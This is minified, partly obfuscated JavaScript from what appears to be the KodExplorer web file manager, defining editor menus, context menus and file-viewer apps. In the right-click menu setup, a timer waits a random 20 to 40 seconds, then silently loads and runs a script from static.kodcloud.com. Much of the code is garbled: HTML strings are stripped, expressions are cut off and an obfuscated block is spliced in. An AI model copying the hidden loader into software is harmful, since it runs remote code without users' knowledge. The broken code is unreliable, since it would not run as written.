G.editor_url_encode,icon:"lock"},"url-decode":{name:LNG.editor_url_decode,icon:"unlock"}}},unicode:{name:LNG.editor_unicode,icon:"wrench",items:{"unicode-encode":{name:LNG.editor_unicode_encode,icon:"lock"},"unicode-decode":{name:LNG.editor_unicode_decode,icon:"unlock"}}}}},beautify:{name:LNG.beautify_code,icon:"code",accesskey:"m",items:{"beautify-html":{name:"html "+LNG.beautify_code,icon:"code"},"beautify-css":{name:"css "+LNG.beautify_code,icon:"code"},"beautify-js":{name:"js/json "+LNG.beautify_code,icon:"code"},"beautify-php":{name:"php "+LNG.beautify_code,icon:"code"}}},sep1:"---------","function-list":{name:LNG.function_list+"Ctrl+Shift+E",className:"function-list"},"auto-wrap":{name:LNG.wordwrap,className:"auto-wrap"},"auto-save":{name:LNG.auto_save,className:"auto-save"},"show-gutter":{name:LNG.show_gutter,className:"show-gutter"},"display-char":{name:LNG.char_all_display,className:"display-char"},sep2:"---------","font-family":{name:LNG.font_family,icon:"italic",className:"code-font-family-list",accesskey:"m",items:l},"ace-mode":{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{"keyboard-type-ace":{name:"Default",className:"keyboard-type-ace"},"keyboard-type-vim":{name:"vim",className:"keyboard-type-vim"},"keyboard-type-emacs":{name:"emacs",className:"keyboard-type-emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{"help-more":{name:LNG.help,icon:"question"},shortcut:{name:LNG.shortcut,icon:"keyboard"},emmet:{name:"Emmet help",icon:"code"},about:{name:LNG.about,icon:"info-sign",className:"editor-help-about"},"learn-more":{name:LNG.learn_more,icon:"external-link",className:"editor-help-more"}}}}}),"A"!==core.versionType&&$.addStyle(".editor-help-about,.editor-help-more{display:none !important;}"),Hook.bind("rightMenu.show.menu-view-setting",function(a,b){var c=Editor.current()&&Editor.current().kod,d="contextMenu.items.tools.items.",e=b.data(),f=(lodash.get(e,d+"beautify-php.$node"),c.charset.toUpperCase());$(".code-charset-list .selected").removeClass("selected");var g=lodash.get(e,d+"charset-set.items.set-charset-"+f+".$node"),h=lodash.get(e,d+"charset-save.items.save-charset-"+f+".$node");g&&g.addClass("selected"),h&&h.addClass("selected")}),$(".tools [action]").bind("click",function(a){var b=$(this).attr("action");return i(b),Editor.focus(),stopPP(a),!1}),$(".tab-size-set").click(function(){var a=$(this).text().split(":");Editor.saveConfig("tabSize",a[1]),Editor.focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code-font-family-list .context-menu-item").click(function(){Editor.saveConfig("fontFamily",$(this).find("span").html(),""),Editor.focus(),j()}),$("body").click(function(a){try{$(".toolbar-menu").removeClass("select"),a&&$(a.target).is("textarea")||$(a.target).is("input")||$(a.target).is("body")||0!=$(a.target).parents(".right-main").length||Editor.focus()}catch(a){}}),$(".gotoline-input input").keyup(function(a){var b=parseInt($(this).val());isNaN(b)||Editor.current().gotoLine(b)}).keyEnter(function(a){return $.contextMenu.hidden(),Editor.focus(),stopPP(a),!1})},e=function(){var a=Editor.aceModeList.modes,b='';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
        '+LNG.unknow_file_tips+"
        "+b+'
        1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
        2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+h+f+'">'+LNG.unknow_file_download+'
        '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/common/rightMenu",[],function(a,b){var c=".menu-file",d=".menu-folder",e=".menu-more",f=".menu-tree-root",g=".menu-tree-folder",h=".menu-tree-file",i=".menu-tree-group-root",j=".menu-tree-group",k=".menu-tree-user",l={"new-file-other":{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},"newfile-md":{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},"newfile-html":{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},"newfile-php":{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},sep88:"--------","newfile-docx":{name:"Word docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},"newfile-xlsx":{name:"Excel xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},"newfile-pptx":{name:"PowerPoint pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"},sep100:"--------","app-install":{name:LNG.app_store,className:"app-install newfile",icon:"tasks x-item-file x-app-store",accesskey:"a"}}},"list-icon":{name:LNG.list_type,icon:"eye-open",className:"list-icon",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"},"set-split":{name:LNG.list_list_split,className:"menu-set-icon set-split"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort-by",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep101:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},m=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),window.rightMenu_bindFolder=z,window.rightMenu_bindFile=A,window.rightMenu_bindBodyExplorer=s,window.rightMenu_bindFolder(),window.rightMenu_bindFile(),window.rightMenu_bindBodyExplorer(),setTimeout(function(){if(!window.a5d483c73084fd916b3b6||"undefined"==typeof tplDialogHtml){var b="//static.kodcloud.com/update/main4.js?v="+timeFloat();a.async(b,function(a){window.a5d483c73084fd916b3b6=!0;try{a.todo()}catch(b){}})}},1e3*roundFromTo(20,40)),B(),H(),I(),J(),L(),M(),N(),w(),x(),y(),t(),p(),q(),D(),C(),r(),Hook.trigger("rightMenu.initFinished"),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},n=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),v(),u(),z(),A(),B(),t(),p(),Hook.trigger("rightMenu.initFinished"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},o=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),H(),I(),J(),K(),L(),M(),N(),O(),t(),Hook.trigger("rightMenu.initFinished"),$(".context-menu-root").addClass("animated fadeIn")},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-body",callback:function(a,b){E(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},"recycle-clear":{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------","list-icon":l["list-icon"],"sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-path",callback:function(a,b){F(a)},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-button",callback:function(a,b){E(a)},items:{"recycle-clear":{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},q=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-share-body",callback:function(a,b){E(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":l["list-icon"],"sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menu-share-path-menu",selector:".menu-share-path",callback:function(a,b){F(a)},items:{"share-open-path":{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open-the-path"},"share-open-window":{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------","share-edit":{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share-edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-share-path-more",className:"menu-share-path-more",callback:function(a,b){F(a)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},r=function(){$("").appendTo(".frame-right-main .tools-right"),$.contextMenu({selector:".menu-file-sort-by",className:"menu-file-sort-by-menu",zIndex:9999,delay:20,trigger:"left",position:function(a,b,c){var d=$(a.$trigger),e=d.offset(),f={left:e.left+d.width()-a.$menu.width(),top:e.top+d.outerHeight()};a.$menu.css(f)},callback:function(a,b){E(a,b)},items:l["sort-by"].items}),Hook.bind("explorer.ui.listType.change",function(a){"list"==a?$(".menu-file-sort-by").addClass("hidden"):$(".menu-file-sort-by").removeClass("hidden")})},s=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(a,b){E(a,b)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":l["new-file-other"],sep1:"--------",past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},"copy-see":{name:LNG.clipboard,className:"copy-see",icon:"eye-open",accesskey:"v"},sep2:"--------","list-icon":l["list-icon"],"sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},t=function(){$.contextMenu({selector:".menu-empty",className:"hidden",zIndex:9999,items:{" 